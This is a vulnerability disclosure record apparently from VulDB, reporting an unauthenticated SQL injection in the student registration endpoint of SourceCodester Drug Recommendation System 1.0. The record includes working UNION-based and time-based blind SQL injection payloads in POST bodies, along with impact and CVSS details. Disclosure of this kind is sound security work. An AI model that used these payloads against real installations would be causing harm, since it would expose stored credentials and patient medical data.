| Title | SourceCodester Drug Recommendation System 1.0 SQL Injection |
|---|
| Description | A SQL injection vulnerability exists in SourceCodester Drug Recommendation System 1.0 in Auth/add_student.php. The POST parameter `cmdschool` is directly concatenated into the SQL query `SELECT * FROM schools where id='$school_id'` without sanitization or parameter binding. The same `$school_id` is also concatenated into `SELECT * FROM academic_session where school_id='$school_id' and status=1`. This endpoint is reachable without authentication via the student registration page.
Proof of Concept (unauthenticated):
POST /Auth/add_student.php
Content-Type: application/x-www-form-urlencoded
btnsave=1&cmdschool=1' UNION SELECT 1,version(),3,4,5,6,7,8-- -&txtname=test&cmdsex=male&txtdob=2000-01-01&txtpassword=test12345&[email protected]&txtphone=1234567890&txtprevious_school=test
Time-based blind:
btnsave=1&cmdschool=1' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -&txtname=test&cmdsex=male&txtdob=2000-01-01&txtpassword=test12345&[email protected]&txtphone=1234567890&txtprevious_school=test
Impact: An unauthenticated remote attacker can extract the entire database including user credentials (stored in plaintext), patient medical data, drug information and recommendations. CWE-89, CVSS v3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
|
|---|
| Source | ⚠️ https://www.sourcecodester.com/php/18278/drug-recommender-web-app-student-project.html |
|---|
| User | swj99557271 (UID 101148) |
|---|
| Submission | 09/10/2026 05:45 (25 days ago) |
|---|
| Moderation | 10/04/2026 10:50 (24 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 413407 [SourceCodester Drug Recommendation System 1.0 Student Registration /Auth/add_student.php cmdschool sql injection] |
|---|
| Points | 20 |
|---|